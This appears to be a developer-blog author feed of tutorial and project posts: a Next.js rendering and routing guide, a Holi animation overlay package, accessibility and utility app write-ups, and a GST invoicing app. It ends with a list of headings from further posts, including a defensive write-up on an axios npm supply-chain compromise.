VIKAS — Mon, 16 Mar 2026 11:01:08 +0000

The Practical Guide to Understanding Next.js Fast⚡

If you're starting with Next.js, you’ll hear many terms thrown around:

SSR
SSG
CSR
App Router
Pages Router
Server Components
API Routes

It sounds complicated.

But the truth is: Next.js becomes simple once you understand a few core ideas.

This guide focuses on the 80/20 fundamentals you actually need to start building real apps.

1. What Next.js Actually Is

At its core:

Next.js = React + Backend + Routing + Performance

React alone helps you build UI components.

Next.js adds:

File-based routing
Server rendering
Built-in APIs
Performance optimizations
Full-stack capabilities

Which means you can build entire applications in one framework.

2. Creating a Next.js App

The easiest way to start:

npx create-next-app@latest my-next-app
cd my-next-app
npm run dev

Now open:

http://localhost:3000

You now have a running Next.js application.

3. Next.js Project Structure

Modern Next.js uses the App Router.

Typical structure:

app/
  layout.js
  page.js
  blog/
    page.js

components/
lib/
public/

Key idea:

Folders = Routes
page.js = UI of the route

Example:

app/about/page.js

Automatically becomes:

/about

No router setup required.

4. Pages Router vs App Router

Next.js currently supports two routing systems.

Pages Router (Older System)

Structure:

pages/
  index.js
  about.js

Route mapping:

pages/index.js → /
pages/about.js → /about

This system introduced functions like:

getServerSideProps
getStaticProps

It still works but App Router is now the recommended approach.

App Router (Modern System)

Introduced in Next.js 13+.

Structure:

app/
  page.js
  blog/
    page.js

Advantages:

Server Components
Better data fetching
Layout system
Streaming
Improved performance

For new projects, always prefer App Router.

5. Rendering Strategies in Next.js

One of the most important things to understand in Next.js is how pages render.

There are three main strategies.

6. CSR — Client Side Rendering

This is the traditional React approach.

The browser loads JavaScript first, then renders the UI.

Example:

"use client"
import { useEffect, useState } from "react"

export default function Users() {
  const [users, setUsers] = useState([])

  useEffect(() => {
    fetch("/api/users")
      .then(res => res.json())
      .then(setUsers)
  }, [])

  return <div>{users.length} users</div>
}

Flow:

Browser loads page
↓
JavaScript executes
↓
Data fetched
↓
UI renders

Downside:

slower first load
weaker SEO

7. SSR — Server Side Rendering

With SSR, the server generates the HTML first.

The browser receives a fully rendered page.

Flow:

Request page
↓
Server fetches data
↓
Server renders HTML
↓
Browser receives ready page

Benefits:

better SEO
faster initial render
fresh data per request

Example (Pages Router):

export async function getServerSideProps() {
  const res = await fetch("https://api.example.com/posts")
  const posts = await res.json()

  return { props: { posts } }
}

8. SSG — Static Site Generation

SSG generates pages during build time.

Flow:

Project build
↓
Data fetched once
↓
HTML generated
↓
Served instantly to users

Perfect for:

blogs
documentation
marketing pages

Example (Pages Router):

export async function getStaticProps() {
  const res = await fetch("https://api.example.com/posts")
  const posts = await res.json()

  return {
    props: { posts }
  }
}

9. Data Fetching in the App Router

The App Router simplifies data fetching dramatically.

You can fetch data directly inside components.

Example:

export default async function Page() {
  const res = await fetch("https://api.example.com/posts")
  const posts = await res.json()

  return <div>{posts.length} posts</div>
}

Because this runs on the server automatically, no special functions are needed.

10. Server Components vs Client Components

By default, App Router components are Server Components.

That means they run on the server.

Benefits:

smaller bundle size
better performance
secure data fetching

But if you need interactivity, you must use a Client Component.

Example:

"use client"
import { useState } from "react"

export default function Counter() {
  const [count, setCount] = useState(0)

  return (
    <button onClick={() => setCount(count + 1)}>
      {count}
    </button>
  )
}

Simple rule:

Server Components → data fetching
Client Components → interactivity

11. API Routes (Built-in Backend)

Next.js can also create backend endpoints.

Example file:

app/api/users/route.js

Code:

export async function GET() {
  return Response.json({ users: [] })
}

Your API endpoint becomes:

/api/users

This means you can build frontend + backend in the same project.

12. The Mental Model

Once you understand this, Next.js becomes much easier.

Next.js = React + Server

Rendering strategies:

CSR → rendered in browser
SSR → rendered on server per request
SSG → rendered at build time

Routing systems:

Pages Router → older system
App Router → modern system

Final Thoughts

Next.js is no longer just a React framework.

It's becoming a complete full-stack platform.

Once you understand:

Routing
Rendering strategies
Server vs Client components
Data fetching
API routes

You can start building production-ready applications quickly.

Focus on these first when learning Next.js:

App Router
Server Components
Data Fetching
API Routes
Deployment

Everything else builds on top of these.

If you're currently learning Next.js, this foundation will take you much further than memorizing random tutorials.

Holi Overlay — Add Vibrant Holi Celebration Effects to Any Website

VIKAS — Tue, 03 Mar 2026 18:01:52 +0000

🎉 Holi Overlay — Bring Your Website Alive With Festive Colors! 🌈

A JavaScript overlay that brings colorful Holi effects — water balloons, pichkaari streams, ambient gradients — to your web project in one line of code!

I just shipped a fun, customizable Holi festival overlay that you can drop into any website in seconds!

👉 Live Demo
📦 npm Package
💻 Source Code

🚀 What Is Holi Overlay?

Holi Overlay is a lightweight, zero-dependency animation library that renders a full-screen Holi celebration on your site — complete with vibrant water balloons, pichkaari color streams, and realistic splash particles. It's perfect for:

🎊 Festive pages

🎁 Seasonal campaigns

🎯 Interactive celebrations

🎨 Colorful UI experiences

All of this runs without blocking interactions — users can still click and scroll while the effects play!

🧩 What's Inside the Overlay

Once active, Holi Overlay gives you:

💦 Water balloons flying & bursting with splash physics
🌈 Pichkaari color trails with particle streams
✨ Ambient gradients & powder clouds
🧘‍♂️ Non-interactive canvas overlay (pointer-events: none)

📦 Installation

🛠️ Via npm

npm install holi-overlay

// In your JavaScript
import HoliOverlay from 'holi-overlay';

// Start the overlay
HoliOverlay.start({
  maxBalloons: 15,
  opacity: 0.95
});

// Toggle on/off
HoliOverlay.toggle();

// Check status
if (HoliOverlay.isRunning()) {
  console.log('🎨 Holi mode active!');
}

📌 CDN (No Build Tools Needed)

Simply inject 2 lines before </body>:

<script src="https://cdn.jsdelivr.net/npm/holi-overlay@latest/dist/holi-overlay.umd.js"></script>
<script>HoliOverlay.start();</script>

#webdev #javascript #opensource #npm #overlay #animation #canvas #css #html

I Built My Studio Website (Zyklabs) — Roast It, Review It, Improve It

VIKAS — Tue, 03 Mar 2026 09:03:04 +0000

🎨 A Product-Focused Studio Website + Added a Holi Overlay.

I wanted to build something beyond a portfolio — so I created Zyklabs, a product-focused web & SaaS studio website.

And since Holi is around the corner, I experimented with a colorful festival overlay animation too.

This post is both a showcase and a request for feedback from the dev community.

🌐 Live Website

👉 Zyklabs.in

Zyklabs is designed as a product engineering studio, not a traditional freelance portfolio or generic agency site.

The core idea:

Build fast. Scale smart.

🧠 Why I Built Zyklabs

After building multiple projects as a MERN developer, I realized something:

Most developer portfolios showcase skills, but businesses care about solutions.

So instead of making another portfolio, I asked:

What would a startup founder want to see?
What builds trust instantly?
How can a developer site feel like a real product company?

Zyklabs became my experiment in moving from:

🏗️ What Zyklabs Is About

Zyklabs focuses on building scalable digital systems such as:

Custom Web Applications
SaaS Platforms
Progressive Web Apps
API-Driven Systems
Enterprise Dashboards
Mobile Applications

The goal was to avoid generic “we build websites” messaging and instead communicate engineering capability.

⚙️ Development Approach

I followed a slightly different process while building the site.

1️⃣ Messaging Before Design

Instead of designing first, I wrote answers to:

Who is this website for?
What problem does it solve?
Why should someone trust it?

Only after that did UI design begin.

2️⃣ Performance-First Frontend

Key goals:

Fast loading
Minimal animation blocking
Clean layout hierarchy
Responsive across devices

Principles followed:

reusable components
minimal JS overhead
scalable layout structure

3️⃣ Conversion-Driven Structure

Each section answers a visitor question:

Section	Visitor Question
Hero	What do you do?
Services	Can you help me?
Process	How do you work?
Pricing	Is this affordable?
CTA	How do I start?

🎨 The Experimental Part — Holi Overlay

Since Holi is coming, I wanted to try something fun but meaningful.

So I added a Holi-themed colorful overlay animation.

Why?

Most SaaS websites feel static.

I wanted to explore:

seasonal UI experiences
culturally contextual design
temporary brand personalization

How It Works (Conceptually)

The overlay adds a fullscreen animation layer above the site:
Features:

floating color particles (gulal effect)
subtle motion
non-blocking interaction
performance-safe animation

The key goal was:

festive without breaking professionalism.

Design Philosophy

I intentionally avoided loud effects.

Zyklabs targets businesses, so the overlay needed to be:

✅ subtle

✅ lightweight

✅ professional

✅ temporary

🧩 Challenges I Faced While Building Zyklabs

Building Zyklabs turned out to be less about coding and more about product thinking.

Here are the real challenges I encountered while turning a developer mindset into a studio experience.

1️⃣ Positioning a Studio Without Looking Like an Agency

One of the hardest problems was messaging.

I didn’t want Zyklabs to feel like:

a freelance portfolio
a generic digital agency
or a template-based service website

But early versions still felt agency-like because the messaging focused on services instead of outcomes.

The challenge became:

How do you communicate “technical partner” instead of “website developer”?

This required rewriting copy multiple times to emphasize:

scalability
product engineering
long-term systems instead of one-time builds.

2️⃣ Building Trust Without Social Proof

Zyklabs is new, which means:

no testimonials
no case studies (yet)
no brand recognition

So I had to rely purely on:

structure
clarity
visual consistency
professional tone

Design had to compensate for missing credibility signals — which is much harder than adding testimonials later.

3️⃣ Writing Copy as a Developer

This was unexpectedly harder than coding.

Developers naturally explain how things work, but businesses care about:

outcomes
growth
reliability
partnership

I had to shift from technical language to value-driven communication.

Example shift:

❌ "Full-stack development services"

✅ "We turn complex ideas into scalable digital products"

4️⃣ Balancing Minimalism vs Business Trust

Too minimal → looks unfinished.

Too detailed → feels cluttered.

Finding the balance between:

modern SaaS aesthetics
business credibility
conversion-focused layout

was an iterative process.

Every section needed to answer a user question without overwhelming them.

5️⃣ Designing for Conversion Without Real User Data

Since Zyklabs is newly launched, there was no analytics or behavioral data.

So layout decisions were based on:

SaaS landing page patterns
startup websites
UX psychology assumptions

This means the current version is partly a hypothesis — waiting for real user feedback.

6️⃣ Adding a Festival Overlay Without Breaking UX

The Holi overlay experiment introduced a unique challenge:

How do you add celebration without hurting professionalism?

Problems I had to consider:

animation performance
distraction vs delight
business audience expectations
mobile responsiveness

The goal was subtle cultural personalization, not visual noise.

7️⃣ Transitioning From “Developer Portfolio” to “Product Identity”

The biggest internal challenge wasn’t technical.

It was mindset.

Moving from:

Building Trust Without Case Studies

Since Zyklabs is new, I relied on:

clarity
structure
consistency

instead of testimonials.

📸 What I’d Love Feedback On

I’d really appreciate honest feedback from the community:

UX & Design

Does the site feel trustworthy?
Is messaging clear?
Any confusing sections?

Developer Perspective

Performance improvements?
Architecture suggestions?
Animation optimization ideas?

Positioning

Does it feel like a studio or agency?
What would increase credibility?

🔮 What’s Next

Planned improvements:

Case studies
Project demos
Founder story section
Engineering blog
More seasonal UI experiments

💬 Why I’m Sharing This

This post isn’t promotion.

I’m documenting the journey of becoming:

Developer → Product Builder → Studio Creator

Sharing early helps improve faster.

🙌 Your Feedback Matters

If you have suggestions, critiques, or ideas — I’d genuinely love to hear them.

👉 https://zyklabs.in

What would you improve first?

🏷️ Tags

#webdev #startup #saas #frontend #showdev #indiehackers #uiux

I Asked Gemini One Question! It Became an Accessibility App

VIKAS — Sun, 01 Mar 2026 14:44:07 +0000

This is a submission for the Built with Google Gemini: Writing Challenge

VisionVoice — From Idea to Impact: Making Signs Speak with AI

What I Built with Google Gemini

Every meaningful project starts with a real-world problem.

While experimenting with Google AI Studio, I asked myself:

What if public signs could literally speak for visually impaired people?

That question became VisionVoice — a multilingual visual accessibility assistant powered by Google Gemini.

VisionVoice helps visually impaired users understand their surroundings by:

📸 Detecting text from real-world signs (emergency notices, directions, warnings)
🌐 Translating content into multiple languages
🔊 Converting text into natural speech narration

🎯 The Goal

Increase independence and safety for visually impaired individuals in public spaces.

🧠 How Gemini Powered the Project

Google Gemini became the core intelligence layer of VisionVoice:

Image → Text extraction
Context understanding
Multilingual translation
Speech-ready output generation

Instead of stitching together multiple AI services, Gemini enabled a unified multimodal pipeline inside Google AI Studio.

This allowed the app to:

Process images
Understand context
Translate meaning
Generate narration

All within a single AI-driven workflow.

✨ Key Features

Image-to-Text Recognition — reads real-world signage
Multilingual Translation — removes language barriers
Text-to-Speech Narration — accessibility-first interaction
Mobile-First UI — quick interaction in real environments

VisionVoice transforms static signs into interactive spoken guidance.

Demo

🌍 Live App URL

💻 GitHub Repository

🎥 Youtube Video Demo

What I Learned

This project changed how I think about building products with AI.

🧩 1. Multimodal AI Changes Product Thinking

Traditional applications process a single input type.

Gemini allowed me to design around human interaction flows, not technical pipelines:

Image → Understanding → Language → Voice

It felt natural — almost human.

⚙️ 2. Prompt Engineering is Product Design

Prompts are not just instructions.

They are UX decisions.

Small refinements dramatically improved:

Translation accuracy
Context interpretation
Narration clarity

I realized AI behavior is part of system architecture.

🌍 3. Accessibility is a Design Mindset

Building for accessibility forced me to rethink assumptions:

Minimal UI > Feature-heavy UI
Speed > Aesthetic polish
Audio clarity > Visual complexity

AI becomes most powerful when it removes friction for users who need it most.

🚀 4. AI Accelerates Solo Development

Gemini acted as a:

Research assistant
Architecture reviewer
Debugging partner
Rapid prototyping engine

I shipped VisionVoice faster than any previous project I’ve built.

Google Gemini Feedback

✅ What Worked Extremely Well

Multimodal reasoning felt natural and powerful
Fast prototyping inside Google AI Studio
Strong image understanding for real-world inputs
Easy experimentation without heavy setup

Gemini reduced the gap between:

Idea → Prototype → Working Product

⚠️ Where I Faced Friction

Output consistency required prompt tuning
Blurred or low-light images needed additional handling logic
Audio formatting occasionally required post-processing

These challenges helped me understand how to design AI-assisted systems thoughtfully, rather than relying blindly on AI output.

🔮 What’s Next for VisionVoice

This challenge made me realize VisionVoice can evolve beyond a prototype:

📱 Real-time mobile camera mode
🧭 Navigation assistance
🗣️ Offline accessibility support
🤖 Context-aware environmental guidance

My goal is to grow VisionVoice into a real AI-powered accessibility companion.

Final Reflection

The Built with Google Gemini Writing Challenge is about reflection — not just shipping code.

VisionVoice taught me that AI isn’t only about automation.

It’s about amplifying human ability.

Sometimes, the most powerful software doesn’t add new screens…

…it gives someone the ability to understand the world around them.

devchallenge #geminireflections #gemini #ai #accessibility

How I Built a Production-Ready Utility Web App Using GitHub Copilot CLI

VIKAS — Sun, 15 Feb 2026 10:28:07 +0000

This is a submission for the GitHub Copilot CLI Challenge

What I Built

I built Quick-Tools — a full suite of practical utility tools in a modern Next.js + TypeScript web app.

Quick-Tools gives developers and productivity-focused users a set of essential helpers like:

UUID generator
Password & Hash generator
JSON formatter
Regex tester
Bill Splitter & Tip Calculator
EMI Calculator
And more…

📦 All tools are modular, responsive, and built with reusable components.

🎯 This project showcases clean architecture, strong typing, automated testing, PWA support, analytics integration, and a polished UI.

👉 Source code: https://github.com/DevCodeHub99/quick-tools

Demo

🌐 Live Product Demo

👉 https://quick-tools99.vercel.app/

Quick-Tools is fully responsive and optimized for desktop and mobile devices.

🖥️ Dashboard Overview

🔐 Password Generator

🧾 JSON Formatter

💰 Calculator Tools (Bill Splitter / EMI)

Here’s a walkthrough of my development flow using GitHub Copilot CLI:

🚀 Starting the Copilot CLI Session

I initialized the Copilot CLI and trusted my project directory so Copilot could read and assist.

🧠 Planning & Task Breakdown

Copilot CLI helped plan every stage — component creation, responsive design improvements, tests, analytics, PWA, and deployment.

💻 Iterative Development

Copilot CLI broke down tasks into incremental changes and guided me through edits like:

Optimizing UI components for mobile responsiveness
Adding input validation
Updating global styles

🧪 Testing Integration

With Copilot CLI, I scaffolded tests, ran them with Vitest, and confirmed test status — providing confidence in every commit.

📦 Deployment Plan

Copilot CLI generated a deployment summary and CI checklist — ready for Vercel auto-deploy.

My Experience with GitHub Copilot CLI

Using GitHub Copilot CLI transformed my typical development workflow into a guided, context-aware build process:

📋 Contextual Planning

Instead of guessing my next steps, Copilot CLI interpreted my goals and produced a phase-by-phase plan showing:

UI refactors
Feature additions
Test strategy
PWA and analytics integration
Deployment strategy

This made the project more organized and predictable.

✨ Better Quality Code

Copilot CLI guided edits with tight context awareness of:

File structure
TypeScript types
Tailwind classes
Reusable components

This saved time and reduced debugging cycles.

📈 Enhanced Productivity

With Copilot CLI, I felt like I had a second pair of eyes during development — always suggesting the why as well as the how.

What’s Next?

I’d love to:
✔ Add live API tools

✔ Publish a hosted demo publicly

✔ Expand tool modules based on user feedback

Thanks for reviewing my submission! 🚀

Feel free to check out the repo and live hosted demo URL. let me know if you want to add somthing else. I'am here to help you!

Building a GST-Compliant Invoicing System with Next.js and MongoDB

VIKAS — Wed, 21 Jan 2026 14:41:19 +0000

How I built InvoiceDesk-a production-ready invoicing app with automatic GST calculations, PDF generation, and smart performance optimizations for Indian businesses.

From Messy Prototype to Production Invoicing App

Building invoicing apps sounds simple until you hit GST compliance, PDF generation, auth security, and performance at scale. Here's how InvoiceDesk went from "barely working" to production-ready for Indian SMBs.

The GST Headache Most Apps Ignore

Indian GST isn't just "add 18% tax." You need:

CGST+SGST (9%+9%) for same-state transactions
IGST (18%) for cross-state transactions

The system auto-detects this by comparing the first 2 digits of business vs client GSTINs. Users just enter GST numbers—tax math happens instantly in real-time previews.

Split Stores = 10x Performance

Problem: One giant Zustand store caused 50+ unnecessary re-renders per minute. Product updates broke invoice pages. Dashboard flickered on every action.

Fix: Split into domain stores (auth, products, clients, invoices). Each lazy-loads independently with caching. Result: buttery smooth UX, no more cascade re-renders.

Data Retention Saved the Free Tier

MongoDB Atlas free tier = 512MB. Invoices eat storage fast.

Policy:

Current month: full access
Last month: archived summaries
3+ months: auto-delete (with export option)

API routes enforce date ranges. Database stays lean, queries stay <10ms.

Auth That Actually Protects Money

Dual-token JWT (15m access + 7d refresh) with HTTP-only cookies. No localStorage nonsense. Middleware auto-refreshes. Rate limited. bcrypt'd passwords. Multi-tenant isolation from day one.

PDFs That Match Your UI Pixel-for-Pixel

Tried Puppeteer (too slow), react-pdf (styling hell). Landed on html2canvas + jsPDF. Screenshot the live invoice component at 2x scale. Same template for screen + PDF = perfect consistency.

The UX Details That Feel Premium

Searchable client dropdowns (100+ clients? No problem)
Live tax calculations as you type quantities/prices
Optimistic updates—UI reacts instantly, server syncs quietly
Mobile-first Tailwind grids that work everywhere
Sequential invoice numbers (INV-2026-0001 format, per user/year)

Production Checklist That Matters

✅ 95+ Lighthouse across metrics
✅ MongoDB indexes on userId + dates
✅ Lazy loading per domain
✅ HTTP-only cookies + CSRF protection
✅ Data retention prevents bloat
✅ Multi-tenant isolation in every query
✅ Modern formats (WebP/AVIF images)
✅ Gzip/Brotli compression

What I'd Do Differently Next Time

Start with split stores—don't refactor later
Build searchable selects early—clients pile up fast
Plan retention Day 1—512MB fills quicker than you think
Use the same component for preview + PDF always

Steal This for Your Next Project

Open source, 5-minute setup. Perfect for learning GST flows, multi-tenant patterns, or performance optimization.

git clone → npm i → npm run seed → http://localhost:3000

Default login: admin@sndt.com / Admin@123

Indian devs building financial tools: What GST headaches have you solved? What's your go-to PDF strategy? Drop your war stories below—someone's gonna steal your patterns (in a good way).

Built for: Indian businesses who need GST compliance without the \$50/month SaaS tax
The key is to start simple and iterate. My first version had one massive store and no data retention. It worked, but it didn't scale. Refactoring to split stores and adding retention policies made it production-ready.

If you're building something similar, focus on:

User isolation (multi-tenant from day one)
Performance (split stores, lazy loading)
Security (JWT, HTTP-only cookies, rate limiting)
UX (real-time previews, optimistic updates)

Questions? Drop them in the comments. I'd love to hear about your experiences building invoicing or financial systems!

Tech Stack: Next.js 16.1 • TypeScript 5 • MongoDB 7.0 • Zustand • Tailwind CSS 4

GitHub: https://github.com/DevCodeHub99/sndt-invoice-desk

Live Demo: https://shrinavdurgatrade.vercel.app/

Built with ❤️ for Indian businesses

VisionVoice: Making Signs Speak for the Visually Impaired with Google AI Studio

VIKAS — Thu, 11 Sep 2025 12:31:38 +0000

This is a submission for the Google AI Studio Multimodal Challenge

What I Built

I built VisionVoice — Multilingual Visual Aid for the Visually Impaired, an applet designed to break language and accessibility barriers.

The app helps visually impaired users by detecting emergency/public signs, translating them into multiple languages, and narrating them aloud. This ensures safety and independence in real-world scenarios, like navigating public spaces or understanding critical instructions.

Demo

🌍 Live App: https://visionvoiceai.vercel.app/
🔗 GitHub Repo: https://github.com/vikasmukhiya1999/VisionVoice---Multilingual-Visual-Aid-for-the-Visually-Impaired
▶️ Video Demo: https://youtu.be/N95jVdkpWbo

How I Used Google AI Studio

I leveraged Google AI Studio with Gemini 2.5 Flash Image to process multilingual visual inputs.

The model reads text from uploaded/real-time images.
Translates the detected text into the user’s preferred language.
Converts translated text into audio narration, making it accessible for visually impaired users.

Multimodal Features

Image-to-Text Extraction: Captures emergency signs, directions, or public notices.
Text Translation: Supports multiple languages for global accessibility.
Text-to-Speech Narration: Gives voice output so users can understand without needing to read.
Mobile-First UI: Simple, modern, and accessible design optimized for quick use.

This combination of multimodal features transforms how visually impaired individuals interact with their environment, bridging accessibility and inclusivity.

Forem: VIKAS

GitHub Copilot is Training on Your Code; Opt Out Before April 24 or Lose the Choice

What Actually Changed

Why Developers Are Missing This

What's Actually at Risk

How to Opt Out (Individual Account)

How to Opt Out (Organization Admin)

What About Code Already Sent?

Should You Stop Using Copilot?

The Bigger Pattern to Watch

TL;DR — Do This Right Now

My Pre-Launch Checklist Before Handing Off Any Client We

1. Environment and Config Hygiene

2. Performance Baseline

3. SEO Minimum Viable Setup

4. Security Headers

5. Email and Transactional Flows

6. Error Tracking and Monitoring

7. Database and Data Safety

8. Cross-Device QA

9. Handoff Documentation

The Full Scorecard

An AI Found a 27-Year-Old Bug in OpenBSD- The Most Security-Hardened OS on Earth

🐡 First: Why Does OpenBSD Even Matter?

🔍 The Bug: TCP SACK Integer Overflow

Background: What is SACK?

The Two-Flaw Interaction

The Fix

🤖 How Mythos Found It

📦 The Bigger Picture: What Else Did It Find?

🌊 The Controversy: Project Glasswing and Restricted Access

📊 The Numbers That Should Keep You Up at Night

🤔 What Should Developers Actually Do?

💬 The Bigger Question

📚 Sources & Further Reading

axios Was Compromised on npm — What Happened, How It Works, and What You Must Do Right Now

The Package That Powers the Internet Just Got Weaponized

What Happened — The Attack Timeline

Step 1 — Account Hijack: The Entry Point

Step 2 — The Fake Dependency: plain-crypto-js@4.2.1

Step 3 — The RAT Dropper: setup.js

The C2 Server

Platform-Specific Payloads

The Execution Speed

Anti-Forensics: The Evidence Swap

Am I Affected? — Check Right Now

Step 1 — Check for malicious axios versions

Step 2 — Check for the dropper directory

Step 3 — Check for RAT artifacts

Step 4 — Check your CI/CD history

Remediation — Step by Step

1. Downgrade to a safe version and pin it

2. Lock it with overrides to prevent transitive re-resolution

3. Remove the malicious package and reinstall clean

4. If RAT artifacts found — treat as full system compromise

5. Block the C2 domain at the network level

Indicators of Compromise (IOCs)

Malicious npm Packages

Network IOCs

File System IOCs

Safe Versions

What This Attack Teaches Us About Supply Chain Security

The threat model has fundamentally shifted

npm audit is not enough

postinstall hooks are the attack surface

The permanent fix: --ignore-scripts in CI

Prefer OIDC Trusted Publishing over long-lived tokens

Lock your dependencies — actually lock them

The Broader Picture: This Is Becoming Normal

Quick Reference Checklist

Resources

The Only Next.js Beginner Guide You Actually Need

The Practical Guide to Understanding Next.js Fast⚡

1. What Next.js Actually Is

2. Creating a Next.js App

3. Next.js Project Structure

4. Pages Router vs App Router

Pages Router (Older System)

App Router (Modern System)

5. Rendering Strategies in Next.js

Step 2 — The Fake Dependency: `plain-crypto-js@4.2.1`

Step 3 — The RAT Dropper: `setup.js`

`npm audit` is not enough

`postinstall` hooks are the attack surface

The permanent fix: `--ignore-scripts` in CI